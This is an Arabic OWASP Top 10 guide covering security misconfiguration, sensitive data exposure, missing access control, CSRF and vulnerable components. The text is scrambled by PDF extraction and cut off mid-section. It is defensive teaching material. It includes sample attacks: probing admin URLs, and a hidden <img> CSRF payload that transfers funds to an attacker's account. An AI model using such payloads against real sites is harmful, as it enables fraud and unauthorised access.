 .للمهاجمينًالإستفادةًمنهاًلإختراقًالخادمًالخاصًبك

 

 هل أنا معرض لهذه الثغرة؟
؟ًطبقاتًالتطبيقًيفقدًالتطبيقًالخاصًبكًالتأمينًالمناسبًفيًأيًجزءًمنًهلً

 :يليويشملًماً

/  أيًمنًبرامجكًغيرًمحدثةً؟ًوهذاًيشملًنظامًالتشغيل،ًوخادمًالويبًهل1ً.

التطبيق،ًونظمًإدارةًقواعدًالبياناتً،ًوالتطبيقات،ًوًجميعًمكتباتً

 .( A9انظرً)النصوصً

علىًسبيلًالمثالً)يتمًإتاحةًأوًتثبيتًأيًمنًالخصائصًغيرًالضروريةًهل2ً.

 ؟( ،ًالمنافذً،ًوالخدماتً،ًوالصفحاتً،ًوالحساباتً،ًوالامتيازاتً

لاًتزالًالحساباتًالافتراضيةًوًكلماتًالمرورًالخاصةًبهاًمتاحةًهل3ً.

 ؟وبدونًتغييرً

تتبعاتًالطبقاتًً"error handling"لأخطاءًامعالجاتًتكشفًهل4ً.

“Stack trace”ًًرسائلًالخطأًالمعلوماتيةًالأخرىًبشكلًمفرطًأو

 للمستخدمين؟

علىًسبيلًالمثال،ً) إعداداتًالأمانًفيًأطرًالتطويرًالخاصةًبكًهل5ً.

Struts, Spring, ASP.NET )والمكتباتًلمًيتمًإعدادهاًلتأمينًالقيم؟ 

دونًامتلاكًآليةًمخططةًوقابلةًللتكرارًللإعداداتًالأمنيةًللتطبيقات،ًفإنًمنً

 .الأنظمةًستكونًفيًخطرًأعلى

 مراجع
 :أواسب

• OWASP Development Guide: Chapter on Configuration 

• OWASP Code Review Guide: Chapter on Error Handling 

• OWASP Testing Guide: Configuration Management 

• OWASP Testing Guide: Testing for Error Codes 

• OWASP Top 10 2004 - Insecure Configuration Management  

For additional requirements in this area, see the ASVS 
requirements area for Security Configuration (V12). 

 :روابط خارجية

• PC Magazine Article on Web Server Hardening 

• CWE Entry 2 on Environmental Security Flaws 

• CIS Security Configuration Guides/Benchmarks 

 
 كيف أمنع هذه الثغرة؟

 :التوصياتًالأوليةًهيًإنشاءًجميعًماًيليإنً

.  إجراءاتًتأمينًقابلةًللتكرارًمماًتُسهِّلًمنًمهمةًإنشاءًبيئةًجديدةًوآمنة1.

كماًيجبًأنًيتمًتكوينًبيئاتًالتطويرًوضمانًالجودةًوًالإنتاجًبشكلً

ويجبًأنًتكونًهذهً( . بكلماتًمرورًمختلفةًتستخدمًفيًكلًبيئةً) مماثلً

 .جديدةالعمليةًآليةًلتقليلًالجهدًالمطلوبًلإعدادًبيئةًآمنةً

لجميعًالبرامجً "patches"لمواكبةًونشرًالتحديثاتًوالتصحيحاتًإجراء2ً.

وهذاًيتضمنً. المستخدمةًفيًمختلفًالبيئاتًالمُستخدمةًوبشكلًسريع

 .(  A9انظرً)إدارجًجميعًالمكتباتًالبرمجةًالمستخدمةًكذلكً

 .المكوناتتطبيقًقويةًبحيثًتوفرًفصلًآمنًوفعالًبينًبنية3ً.

للمساعدةًفيًحاول4ً. تشغيلًأدواتًالفحصًوالقيامًبعملياتًالتدقيقًدورياً 

 .الكشفًعنًالإعداداتًالخاطئةًأوًالتصحيحاتًالمفقودةًفيًالمستقبل

 

 الخاطئة الأمنية الإعدادات
[Security Misconfiguration] A5 

 الضعف نقاط
 الأمنية

  مؤشرات
 الهجوم

 التأثيرات
  عوامل التقنية

 التهديد

 التأثيرات
 العمل على

http://www.owasp.org/index.php/Command_Injection
https://www.owasp.org/index.php/Configuration
https://www.owasp.org/index.php/Error_Handling
https://www.owasp.org/index.php/Testing_for_configuration_management
https://www.owasp.org/index.php/Testing_for_Error_Code_(OWASP-IG-006)
https://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
https://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
https://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
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http://www.pcmag.com/article2/0,2817,11525,00.asp
http://cwe.mitre.org/data/definitions/2.html
http://cwe.mitre.org/data/definitions/2.html
http://cwe.mitre.org/data/definitions/2.html
http://benchmarks.cisecurity.org/downloads/benchmarks/


 خصائص

 العمل/ التطبيق

 التأثير

 خطر

 الإكتشاف

 متوسط

 الإنتشار

 غير شائع

 الإستغلال إمكانية

 صعب
 التطبيق خصائص

خذًفيًالإعتبارًالخسارةً
  التجارية/العمليةللقيمةً

للبياناتًالمفقودةًوالتأثيرً
أيضا ،ً. علىًسمعةًالعمل

ماهيًالتبعاتًالقانونيةً
المترتبةًفيًحالًكشفً
البياناتًوالضررًلسمعةً
 .العملًالمترتبةًعلىًذلك

 

يؤديًالىً القصورًدائماً 
كشفًكلًالبياناتً
يشملً. المتطلبًحمايتها

ذلكًالبياناتًالحساسةًمثلً
الملفاتًالصحية،ًبياناتً

المستخدم،ًالبياناتً
الشخصية،ًالبطاقاتً

 .الخ... الإئتمانية

 

.  الخللًالأكثرًإنتشارا ًهوًعدمًتشفيرًالبياناتًالحساسة

حتىًعندًاستخدامًالتشفير،ًينتشرًضعفًتوليدًوإدارةً
المفاتيح،ًضعفًالخورازمياتًالمستخدمة،ًوخصوصاً 

خوارزمياتًالكلماتًالسريةًللدوالًاحاديةًًضعفً

المشاكلًالأمنيةًفيً. Password Hashingالإتجاهً

المتصفحاتًمنتشرةًبشكلًكبيرًوسهلةًالإكتشاف،ًلكنً

يجدً. يصعبًإستغلالًهذهًالمشاكلًًعلىًنطاقًواسع

المهاجمونًمنًالخارجًصعوبةًفيًإكتشافًثغراتً

أمنيةًفيًالخوادمًبسببًمحدوديةًالصلاحياتًوفيً

 .  الغالبًتكونًهذهًالثغراتًصعبةًالإستغلال

فيًالغالبًلاًيقومً
المهاجمونًبمحاولةًكسرً

التشفيرًمباشرة،ًإنماً
يقومونًبمهاجمةًمكوناتًً
عمليةًالتشفير،ًمثلًسرقةً

هجومًمفاتيحًالتشفير،ً
باعتراضًالبياناتً

"MiTM "ًسرقةًأو
البياناتًالغيرًمشفرةًمنً
الخادمًفيًحالةًالإرسالً

أوًفيًحالًوجودهاً
 .بمتصفحًالمستخدم

 يا أن الإعتبار في خذ
 مياقال هيمكن شخص

الوصولًللبياناتًب
الحساسةًأوًأيًمنًالنسخً

. الإحتياطيةًالخاصةًبها
يشملًذلكًالبياناتًفيً

حالةًالتخزين،ًالإرسالًأوً
حتىًفيًمتصفحً

اشَملًالمخاطرً. المستخدم
 الخارجيةًوالداخليةً

 الإختراق لكيفية أمثلة
تطبيقًيقومًبتشفيرًأرقامًالبطاقاتًالإئتمانيةًبإستخدامًالتشفيرًالآليً :الأولالمثال 

لكنًهذاًيعنيًأنهًبإمكانًقاعدةًالبياناتًفكًالتشفيرًآلياً . المتوفرًمعًقاعدةًالبيانات

عندًطلبًبياناتًمنها،ًمماًقدًيعرضًأرقامًالبطاقاتًالإئتمانيةًللسرقةًعندًاستغلالً

فيًالمقابل،ًكانًيجبًتشفيرًأرقامًالبطاقاتًالإئتمانيةً. ”SQL“ثغراتًحقنً

،ًوالسماحًفقطًللبنيةًالتحتيةًللتطبيقًبفكً”Public Key“بإستخدامًمفتاحًعامً

 .”Private Key“التشفيرًبإستخدامًالمفتاحًالخاصً

لجميعًللصفحاتًالتيًتتطلبًً”SSL“موقعًلاًيستخدمًبرتوكولً :الثانيالمثال 

مثلاًفيً)يقومًالمهاجمًبمراقبةًمرورًالبياناتًفيًالشبكةً. التحققًمنًهويةًالمستخدم

.  المستخدمً”Session Cookie“،ًوسرقةًجلساتًالإتصالً(شبكةًلاسلكيةًمفتوحة

بعدًذلكًيقومًالمهاجمًبإعادةًإرسالًجلسةًإتصالًالمستخدمًممايمكنًالمهاجمً

 .الوصولًلمعلوماتًالمستخدمًالخاصة

لتخزينunsalted hashesًًقاعدةًبياناتًالكلماتًالسريةًتستخدمً :الثالثالمثال 

عندًوجودًخللًفيًخاصيةًرفعًالملفاتًقدًيستطيعًالمهاجمً. جميعًالكلماتًالسرية

بالتاليًتتعرضًجميعًالكلماتًالسريةًلكسرًحمايتهاً. تحميلًملفًالكلماتًالسرية
 rainbow table ofبإستخدمًجداولًتحتويًعلىًكلماتًسريةًمعدةًمسبقاً 

precalculated hashes. 

 

 هل أنا معرض لهذه الثغرة؟
ًيجبًعليكًتحديدًالبياناتًالأكثرًحساسيةًوالتيًتحتاجًلدرجةًحمايةًأعلىً بداية 

كلماتً: أمثلةًعلىًالبياناتًالتيًيجبًتوفرًدرجةًحمايةًأعلىًفيها. منًالعادية

لكلً. المرور،ًأرقامًالبطاقاتًالإئتمانية،ًالملفاتًالصحيةًوالمعلوماتًالشخصية

 :هذهًالبيانات

 هلًيتمًتخزينًهذهًالبياناتًمنًغيرًتشفيرها،ًيشملًذلكًالنسحًالإحتياطية؟1.

منًغيرًتشفيرها؟ًبكلًتأكيدًنقلهاً 2. وخارجياً  هلًيتمًنقلًهذهًالبياناتًداخلياً 

 .عبرًشبكةًالإنترنتًأكثرًخطورة

 هلًيتمًاستخدامًخوارزمياتًتشفيرًقديمةًأوًضعيفة؟3.

هلًيتمًتوليدًمفاتيحًتشفيرًضعيفة،ًأوًلاًتتمًإدارةًالمفاتيحًأوًتدويرها4ً.

 بشكلًٍجيد؟

الصحيحةً" Headers" هلًيتمًإرسالًوإستخدامًعناوينًالملقمات5.

عندًتقديمهاًمنًقبلًوالمطلوبةًعندًنقلًالبياناتًالحساسةًللمتصفحًأوً

 المتصفح؟

 ASVSلقائمةًأشملًمنًالمشاكلًالتيًيجبًتجنبها،ًانظرً... هناكًالكثير

)10and SSL (V), 9Data Prot. (V), 7areas Crypto (V 

 مراجع
  9Data Protection (V), 7on Cryptography (V req’tsASVS( :أواسب

Communications Security (V10) 

• OWASP Cryptographic Storage Cheat Sheet 

• OWASP Password Storage Cheat Sheet 

• OWASP Transport Layer Protection Cheat Sheet 

• OWASP Testing Guide: Chapter on SSL/TLS Testing 

 :روابط خارجية

• CWE Entry 310 on Cryptographic Issues 

• CWE Entry 312 on Cleartext Storage of Sensitive Information 

• CWE Entry 319 on Cleartext Transmission of Sensitive Information 

• CWE Entry 326 on Weak Encryption 

 
 كيف أمنع هذه الثغرة؟

تغطيةًكافةًالتفاصيلًللمخاطرً( العشرةًالأوائل -أواسبً)لاًيمكنًلمشروعً

.  ،ًوحمايةًالبياناتSSLالمترتبةًللإستخدامًالخاطئًلتقنياتًالتشفير،ًبروتوكولً

 :لكنًعلىًالأقلًًيجبًعملًالتاليًًلحمايةًالبياناتًالحساسة

الهجومً: مثال)خذًفيًالإعتبارًالتهديداتًالمعرضةًلهاًهذهًالبيانات1ً.

،ًتأكدًمنًتشفيرًجميعًهذهًالبياناتًالحساسةً(الداخلي،ًالمستخدمًالخارجي

 .فيًحالةًالتخزينًوًالإرسالًبطريقةًتحميهاًمنًهذهًالتهديدات

قمًبالتخلصًمنهاًفيًأسرعً. لاًتقمًبتخزينًالبياناتًالحساسةًالغيرًمطلوبة2.

 . البياناتًالتيًلاًتملكهاًلاًيمكنًسرقتها. وقت

تأكدًمنًاستخدامًخوارزمياتًقياسيةًوقوية،ًًمفاتيحًتشفيرًقويةًوًالإدارة3ً.

 validated cryptographic 140 FIPSيمكنكًاستخدامًً. الجيدةًلها

.modules 

تأكدًمنًتخزينًالكلماتًالسريةًبإستخدامًخوارزميةًمخصصةًلتخزين4ً.

 .scryptأوً, 2PBKDF, bcryptالكلماتًالسرية،ًمثلً

قمًبتعطيلًخاصيةًالأكمالًالتلقائيًعندًتعبئةًالبياناتًالحساسةًوًتعطيل5ً.

التيًً”caching“فيًالصفحاتًالاحتفاظًبنسخةًللوصولًالسريعًخاصيةً

 .تحتويًعلىًبياناتًحساسة

 الحساسة البيانات كشف
[Sensitive Data Exposure] A6 
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 خصائص

 العمل/ التطبيق

 التأثير

 متوسط

 الإكتشاف

 متوسط

 الإنتشار

 شائع

 الإستغلال إمكانية

 سهل
 التطبيق خصائص

خذًفيًالإعتبارًالقيمةً
للوظائفً التجارية/العملية

المكشوفةًوالبياناتًالتيً
يتمًمعالجتهاًعنًطريقً

 .هذهًالوظائف

أيضا ،ًخذًفيًالإعتبارً
الضررًالذيًقدًيلحقً

بسمعتكًإذاًماتمًنشرًهذهً
 .  الثغرةًللجميع

 

مثلًهذهًالثغراتًتمكنً
المهاجمينًمنًالوصولً
لوظائفًغيرًمصرحةً

فيًالعمومًيكونً. لهم
  هدفهمًالوصولًلوظائف

 .تخصًمديرًالنظام

 

بشكلًجيد .  لاًتحميًالتطبيقاتًخصائصًالتطبيقًدائماً 
بعضًالأحيان،ًحمايةًالوظائفًتتمًعنًطريقًإعداداتً

وفيً. التطبيق،ًوالنظامًقدًيكونًمعدًبشكلًخاطئ
بعضًالأحيانًيجبًعلىًالمطورينًالتحققًعنًطريقً

 .ذلكينسونًنصًالبرنامج،ًلكنً

الجزئًالصعبًهوًإيجادً. إيجادًهذهًالثغراتًسهل
 .الصفحاتًأوًالوظائفًلمهاجمتها

المهاجم،ًوهوًمستخدمً
يملكًصلاحيةًفيًتطبيقكً

عنوانًالصفحةًبتغيرً يقوم
أوًالمدخلاتًللوصولً

صلاحيةًلخصائصًذاتً
هلًيمكنهً. عالية

الوصول؟ًمستخدمينً
مجهولينًيمكنهمًالوصولً

لخصائصًخاصةًغيرً
 .محمية

أيًشخصًبإتصالً
بالشبكةًيمكنهًإرسالً

هلًيمكنً. طلباتًلتطبيقك
لمستخدمينًمجهولينً

الوصولًلوظائفًخاصةً
أوًلوظائفًذاتًصلاحيةً

 لمستخدمًعادي؟ً

 الإختراق لكيفية أمثلة
الروابطًالتاليةً. بكلًبساطةًزيارةًالمهاجمًلروابطًعدةًفيًالتطبيق :الأولالمثال 

أيضا ،ًيتطلبًالوصولًلصفحةً. تتطلبًالتحققًمنًهويةًالمستخدم

"admin_getappInfo "صلاحياتًمدير. 

  http://example.com/app/getappInfo 

  http://example.com/app/admin_getappInfo 

 

هناكًخللًإذاًتمكنًمستخدمًلمًيتمًالتحققًمنًهويتهًمنًالوصولًلأيًمنً

أيضا ،ًهناكًخللًإذاًتمكنًمستخدمًعاديًتمًالتحققًمنً. الصفحتينًالسابقتين

،ًمماًقدًيحفزًالمهاجمً"admin_getappInfo"هويتهًمنًالوصولًلصفحةً

 .للوصولًلصفحاتًأكثرًأهميةًتحتويًعلىًنفسًالخلل

 

فيًصفحةًما،ًيتمًتحديدًالوظائفً" action"منًخلالًمتغيرً :الثانيالمثال  

إذاًلمًيتمًفرضً. المطلوبة،ًوكلًقيمةًللمتغيرًقدًتتطلبًدورًمختلفًللمستخدم

 .   هذهًالأدوارًعلىًالمستخدمينًوتحديدهاًفهناكًخلل

 

 مراجع
 :أواسب

• OWASP Top 10-2007 on Failure to Restrict URL 
Access 

• ESAPI Access Control API 

• OWASP Development Guide: Chapter on Authorization 

• OWASP Testing Guide: Testing for Path Traversal 

• OWASP Article on Forced Browsing 

For additional access control requirements, see the 
ASVS requirements area for Access Control (V4). 

 

 :روابط خارجية

• CWE Entry 285 on Improper Access Control 
(Authorization) 

 
 كيف أمنع هذه الثغرة؟

ًيجبًأنًيكونًتصميمًتطبيقكًسلسلًومتجانسًلتسهيلًعمليةًالتحققًمنً بداية 

غالبا ،ًيتحققًذلكً. استخدامًوظائفًالصلاحياتًالمستخدمةًفيًالأجزاءًالأخرى

 .بإستخدامًواحدةًأوًأكثرًمنًالدوالًالخارجيةًالجاهزةًللإستخدام

فكرًفيًعمليةًًمنحًالصلاحياتًوإدارتها،ًًوتأكدًمنًإمكانيةًالتعديل1ً.

احذرًمنًتحديدًالصلاحياتًبعينهاً. والتدقيقًعلىًالصلاحياتًبسهولة

"Hard code "فيًالنصًالبرمجي. 

طريقةًفرضًالصلاحياتًيجبًأنًتمنعًالوصولًلوظائفًالتطبيق2ً.

 .افتراضيا ،ًالاًفيًحالًوجودًإذنًبالسماحًللوصولًللوظيفةًالمطلوبة

تحققًمنًمصداقيةً،ً"workflow"إذاًكانتًالوظيفةًجزءًمنًسيرًالعمل3ً.

 .الشروطًالمتطلبةًللسماحًبالوصولًلهذهًالوظائف

 

كثيرًمنًتطبيقاتًالويبًلاًتعرضًوصلاتًوأزِرةًللوصولًللوظائفً: ملاحظة

"  التحكمًبالوصولًعنًطريقًطبقةًالعرض"غيرًالمصرحة،ًلكنًهذاًالنوعًمنً

 .تنفيذًالتحققًداخلًالنصًالبرمجيًفيًالمكانًالصحيحًيجب. لاًيوفرًالحماية

 

 هل أنا معرض لهذه الثغرة؟
أفضلًطريقةًلمعرفةًاذاًكانًالتطبيقًلاًيمنعًالوصولًللوظائفًبالشكلًالصحيحًهيً

 :التحققًمنًكلًخاصيةًفيًالتطبيق

هلًتعرضًواجهةًالمستخدمًوصلاتًللوصولًلوظائفًغيرًمصرحًبالدخول1ً.

 عليها؟

 هلًآليةًالتحققًمنًالهويةًوالصلاحياتًللمستخدمًغيرًمفعلةًمنًجانبًالخادم؟2ً.

علىًالمعلوماتًالمقدمةًمن3ً. هلًآليةًالتحققًمنًجانبًالخادمًتعتمدًكلياً 

 المهاجم؟

قمًبعدًذلكً. بإستخدامًبروكسي،ًاستعرضًالتطبيقًبحسابًذوًصلاحياتًعالية

فيًحالةًاستجابًالخادمًبنفسًالطريقةً. بزيارةًذاتًالصفحاتًبحسابًأقلًصلاحية

بعضًأدواتًاعتراضً. لكلىًالطلبين،ًعلىًالأغلبًالتطبيقًيحتويًعلىًثغرة

 .تدعمًهذاًالنوعًمنًالتحليل" Proxy"الإتصالً

 

التحققًمعنًطريقًآليةًالتحققًمنًإمكانيةًالوصولًفيًالنصًتستطيعً أيضاً 

تتبعًأحدًالطلباتًالمصرحةًداخلًالنصًالبرمجيًًوتأكدًمنًصلاحياتً. البرمجي

بعدًذلكًابحثًفيًالنصًالبرمجيًلأيجادًالأماكنًالتيًلمًيتمًالتحققًمنً. الوصول

تستطيعًأدواتًالفحصًالتلقائيةًعلىًالأرجعًمنًلنً. صلاحياتهاًبالشكلًالمطلوب

 اكتشافًهذهًالمشكلة

 الوظيفي بالوصول التحكم إهمال
[Missing Function Level Access Control] 

A7 
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القيمةًًخذًفيًالإعتبارً
للبياناتًالعمليةً

،ًأوًدوالًالمتضررة
تخيلًعدمً. التطبيق

إمكانيتكًمنًالتأكدًمنً
رغبةًالمستخدمًفيًإجراءً
 .هذهًالعملياتًمنًعدمها

كذلك،ًخذًفيًالإعتبارً
التأثيرًالحاصلًعلىًسمعةً

 .منشأتك

 

يمكنًللمخترقينًخداعً
أيًًٍالمستخدمينًلإجراء

(  تغييرًالحالة)منًعملياتً
المصرحًلهمًبها،ًعلىً
سبيلًالمثال،ًتحديثً

معلوماتًالحساب،ًإتمامً
طلباتًشراء،ًتسجيلً

 .الدخولًوالخروج

 

نتيجةًأنًمعظمً( الطلباتًعبرًالموقعًتزوير)تأتيًثغراتً
نًالمخترقينًمنًالتنبؤًبجميعًالتفاصيلً تطبيقاتًالويبًتمكِّ

 .الفنيةًللعمليةًالمحددة

بسببًأنًالمتصفحاتًتقومًبإرسالًمعلوماتًإعتمادً
مثلًملفاتًجلسةًً"Users Credentials"المستخدمينً

بشكلًمؤتمت،ًفيمكنًً"Session Cookies"الإتصالً
للمخترقينًإنشاءًصفحاتًويبًضارةًبحيثًتقومًبتوليدً

 .طلباتًمزورةًيصعبًتمييزهاًعنًالطلباتًالحقيقية

بكلً( تزويرًالطلباتًعبرًالموقع)يمكنًإكتشافًثغراتً
سهولةًمنًخلالًإجراءًإختباراتًالإختراقًوتحليلًالنصً

 .البرمجي

يقومًالمخترقًبإنشاءً
مزورةًً(HTTP)طلباتً

ومنًثمًخداعًالمستخدمً
ليقومًبإرسالهاًإماًعبرً

وسومًالصور،ًأوًثغراتً
،ًأوً(البرمجةًعبرًالموقع)

فيً. عبرًوسائلًأخرى
حالًتمًالتصريحًللمستخدمً

،ًبالوصول( الضحية)
عندهاًيمكنًالقولًبأنً

 .استغلالًالمخترقًقدًنجح

 يا أن الإعتبار في خذ
 مياقال هيمكن شخص

بتحميلًمحتوياتًإلىً
متصفحاتًالمستخدمين،ً
وبهذاًيمكنًلهًإجبارًهذهً

المتصفحاتًلإرسالً
طلباتًإلىًموقعكً

معًالعلمًبأنهً. الإلكتروني
يمكنًإنجازًذلكًعبرًأيً
موقعًإلكترونيًأوًملقماتً

(HTML)ًًيمكن
 .  للمستخدمًالوصولًلها

 الإختراق لكيفية أمثلة
يسمحًالتطبيقًللمستخدمًمنًإرسالًطلبًتغييرًحالةًمنًدونًإضافةًأيًبياناتً

 :علىًسبيلًالمثال. سرية

 
http://example.com/app/transferFunds?amount=1500 

  &destinationAccount=4673243243 

لذاًيقومًالمخترقًبتكوينًطلبًيقومًبتحويلًمبلغًنقديًمنًحسابًالمستخدمًإلىً
حسابًالمخترق،ًومنًثمًتضمينهاًفيًصفحاتًويبًتكونًتحتًسيطرةً

 :،ًكالتالي(iframe)المخترقًعبرًطلباتًالصورًأوًالـً

  <img src="http://example.com/app/transferFunds? 
  amount=1500&destinationAccount=attackersAcct#“ 
  width="0" height="0" /> 

بزيارةًإحدىًصفحاتًالمخترقًبعدًتسجيلًدخولهً( الضحية)إذاًقامًالمستخدمً
فستقومًهذهًالطلباتً -أيًتمًالتحققًمنًهويته– (example.com)إلىًموقعً

المزورةًبإستخدامًملفاتًجلسةًالإتصالًبشكلًتلقائي،ًوبهذاًتعطيًالصلاحيةً
 .لتنفيذًطلباتًالمخترق

 هل أنا معرض لهذه الثغرة؟
للتحققًمنًإصابةًتطبيقًماًبهذهًالثغرة،ًتأكدًمنًأنًجميعًالروابطًوالنماذجً

فاتًغيرًقابلةًللتخمينً منًدونً. "Unpredictable token"تحتويًعلىًمُعرِّ
فاتًسيتمكنًالمخترقونًمنًتزويرًالطلبات طريقةًلأخرىًللحمايةً. هذهًالمُعرِّ

هيًبالتأكدًمنًرغبةًالمستخدمًفيًإرسالًالطلبًإماًعبرًطلبًإعادةًالتحققًمنً
الهوية،ًأوًعبرًوسائلًأخرىًللتحققًمنًأنًالمستخدمًهوًشخصًحقيقيًمثلً

 ".CAPTCHA"الكابتشاً

زًعلىًالروابطًوالنماذجًالتيًتستدعيًدوالًتغييرًالحالةً -State"ركِّ
changing"ًحيثًأنهاًتشكلًالأهدافًالأكثرًأهميةًفيًهذهًالثغرات،. 

عليكًكذلكًالتحققًمنًالعملياتًمتعددةًالخطوات،ًحيثًأنهاًلاتكتسبًالحصانةً
يمكنًللمخترقينًوبسهولةًتزويرًسلسلةً. بشكلًتلقائيًمنًالخطواتًالسابقة

 .(JavaScript)متتابعةًمنًالطلباتًبإستخدامًوسومًمتعددةًأوًبإستخدامًلغةً

لاحظًبأنًالمعلوماتًالتيًيقومًبرنامجًالمتصفحًبإرسالهاًبشكلًآليًمثلًملفاتً
وغيرهاًمنًالمعلوماتًلاًً"IP Address"جلساتًالإتصال،ًوعنوانًالإنترنتً

حيثًيمكنًللمخترقًأنً( تزويرًالطلباتًعبرًالموقع)تقدمًأيًحمايةًضدًثغراتً
 .يقومًبدمجهاًكذلكًفيًالطلباتًالمزورة

يساعدًفيًإنشاءًحالاتًوأمثلةًًلتوضيحًً(CSRF Tester)برنامجًأواسبً
 (.تزويرًالطلباتًعبرًالموقع)خطورةًثغراتً

 مراجع
 :أواسب

• OWASP CSRF Article 

• OWASP CSRF Prevention Cheat Sheet 

• OWASP CSRFGuard - CSRF Defense Tool  

• ESAPI Project Home Page  

• ESAPI HTTPUtilities Class with AntiCSRF Tokens 

• OWASP Testing Guide: Chapter on CSRF Testing 

• OWASP CSRFTester - CSRF Testing Tool  
 

 روابط خارجية

• CWE Entry 352 on CSRF  

 

 
 كيف أمنع هذه الثغرة؟

فـاتً( تزويرًالطلباتًعبرًالموقع)الحمايةًضدًثغراتً تتطلبًعادة ًتضمينًمُعرِّ
يجبً. (HTTP)غيرًقابلةًللتخمينًفيًجميعًطلباتًبروتوكولًنقلًالنصوصً

فـاتً  .فريدةًلكلًجلسةًإتصالًللمستخدم -علىًالأقل-أنًتكونًهذهًالمُعرِّ

فًالفريدًفيًحقلًمخفي،ًبحيثًيتمًإرسال1ً. الخيارًالأمثلًهوًإضافةًالمُعرِّ
عنًإرسالهاًً"HTTP Request body"القيمةًعبرًجسدًالطلبً عِوضاً 

 .مماًيجعلهاًأقلًعُرضةًللإنكشاف (URL)عبرًالعنوانً

فًفيًنفسًالعنوان،ًأوًعبرًمُعامِلًالعنوان2ً. يمكنًكذلكًإضافةًالمُعرِّ
"URL Parameter" .ًغيرًأنًإضافتهاًبهذهًالطريقةًسيجعلهاًأكثر

ف  .خطورةًللإنكشاف،ًوبهذاًسيتمكنًالمخترقًمنًإستغلالًالمُعرِّ

فـاتًفيًكلاًُمنًً(CSRF Guard)يمكنًلبرنامجًأواسبً منًإضافةًهذهًالمُعرِّ
  (ESAPI)تضمنًأواسبًتكذلكً.  PHP)NET, .EE, (Javaتطبيقاتًالـً

 .علىًمجموعةًمنًالأدواتًالتيًيمكنًللمبرمجينًاستخدامهاًلمنعًهذهًالثغرات

أوً"Reauthentication"كذلكًيمكنًإعادةًالتحققًمنًهويةًالمستخدم3ًً.
علىًسبيلًالمثالً)التحققًمنًأنهًشخصًحقيقيًوليسًآلةًأوًبرنامجً

 (.بإستخدامًالكابتشا

 الموقع عبر الطلبات تزوير
[Cross-Site Request Forgery – CSRF] A8 
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خذًفيًالإعتبارًالتأثيرً
السلبيًللعملًوالذيًقدً
تسببهًكلًثغرةًأمنيةً
محتملةًفيًالتطبيقً

فقدًيكونًالتأثيرً. المصاب
بسيطًجدا ،ًوقدًيصلًإلىً

 .خسارةًتامة

 

يمكنًحدوثًأيًواحدةًمنً
الثغراتًالأمنية،ًًإحتمالات

مماًفيًذلكًثغراتًالحقن،ً
إهمالًالتحكمًبالوصول،ً

البرمجةًعبرًالموقع،ً
يتراوحًالتأثيرً. وغيرها

مابينًالحدًالأدنىًوصولا ً
إلىًالإستحواذًالكاملًعلىً

 .الخادمًوفقدًالبيانات

 

التطبيقاتًمنًهذهًًبشكلًافتراضي،ًتعانيًكل
المشكلةًوذلكًلأنًمعظمًفرقًالتطويرًلاتركزًعلىً

(  أوًالمكتبات)التحققًمنًتحديثًالمكوناتً
فيًحالاتًكثيرة،ًلايعلمًالمطورونًعنً. باستمرار

جميعًالمكوناتًالتيًيستخدمونها،ًولاًيهتمونً
الترابطًومماًيزيدًالأمرًسوءا ،ً. بنسخةًالإصدار
 Component"بينًالمكونات

Dependencies". 

يقومًالمخترقًبتحديدً
المكوناتًالضعيفةًباستخدامً
تقنياتًالمسحًأوًبالتحليلً

يقومًبعدهاًبتخصيصً. اليدوي
الإستغلالًعلىًحسبًحاجتهً

يصبحً. ومنًثمًتنفيذًالإختراق
منًالصعبًاستغلالًالمكونً

الضعيفًإذاًتمًاستخدامهً
فيًالتطبيق    .عميقاً 

بعضًالمكوناتًالضعيفةً
مثلًمكتباتًإطاراتً)

يمكنًإكتشافهاً( العمل
وإستغلالهاًبواسطةًأدواتً

مماًيزيدًحجمًًآلية،
عواملًالتهديدًبحيثً

لاتقتصرعلىًالمخترقينً
فقط،ًوإنماًتتعدىًلعواملً

 .  التخريب

 الإختراق لكيفية أمثلة
الثغراتًالأمنيةًفيًالمكوناتًأيًنوعًمنًأنواعًالمخاطرًالتيًيمكنًتسببًقدً

إلىًالإصابةًببرامجًخبيثةًمتطورةًتمً تخيلها،ًوالتيًتتراوحًبينًالبسيطةًجداً 
لإستهدافًمنشأةًمعينة عادة ،ًتشتغلًمعظمًالمكوناتً. تصميمهاًخصيصاً 

ظهورًثغرةًأمنيةً ،ًلذاًمنًالخطرًجداً  منًًفيًأيبصلاحياتًالتطبيقًكاملة 
 .2011مليونًمرةًخلالًعام22ًًالتاليةًالمصابةًتمًتحميلًالمكونانً. المكونات

بسببًالفشلًفيًتقديمً: (Apache CXF)تجاوزًالتحققًمنًالهويةًفيً•
فـاتًللهوية،ًيمكنًللمخترقينًمناداةًأيًٍمنًخدماتًالويبً  Web"مُعرِّ

Services"ًبصلاحياتًكاملة  . 

بسببًالتطبيقًالسيءًللغةًالتعبيرً: (Spring)تنفيذًأكوادًخبيثةًعنًبُعدًفيً•
(Expression Language)ًًالمستخدمةًفيًإطارًالعمل(Spring)ً،

يمكنًللمخترقينًتنفيذًنصوصًخبيثةًمماًتمنحهمًإمكانيةًالسيطرةًعلىً
 .الخادم

منًهذهًالمكتباتًالمصابةًفإنهًعُرضةًللإختراقًحيثًأنً أيًتطبيقًيستخدمًأياً 
المكوناتً. هذهًالمكوناتًيمكنًالوصولًلهاًمباشرةًمنًخلالًمستخدميًالتطبيق

الضعيفةًالتيًيتمًاستخدامهاًبشكلًأعمقًفيًالتطبيقًتكونًأصعبًفيًعمليةً
 .الإستغلال

 هل أنا معرض لهذه الثغرة؟
نظريا ،ًعمليةًتحديدًماًإذاًكنتًتستخدمًمكوناتًأوًمكتباتًمعروفةًالضعفً

لسوءًالحظ،ًتقاريرًالثغراتًالآمنيةًللبرامجًالتجاريةً. يجبًأنًتكونًسهلة
أيًإصدارًمنًالمكونًمعرضًللثغرةًبطريقةً ومفتوحةًالمصدرًلاتحددًدوماً 

بالإضافةًلاتستخدمًكافةًالمكتباتًنظامًترقيمً. سهلةًالبحثًومتعارفًعليها
والأسوأًمنًذلكًكله،ًأنهًلايتمًتوريدًجميعًالثغراتًالأمنيةًإلىً. ومفهوممعياريً

ً(CVE)مستودعًمركزيًليسهلًالبحثًفيه،ًبالرغمًمنًأنًمواقعًإلكترونيةًمثلً
 .أصبحًمنًالسهلًالبحثًفيهاً(NVD)وً

بإستخدامًمكوناتًمعروفةًالضعفًتستلزمًالبحثًفيً تحديدًماًإذاًكنتًمعرضاً 
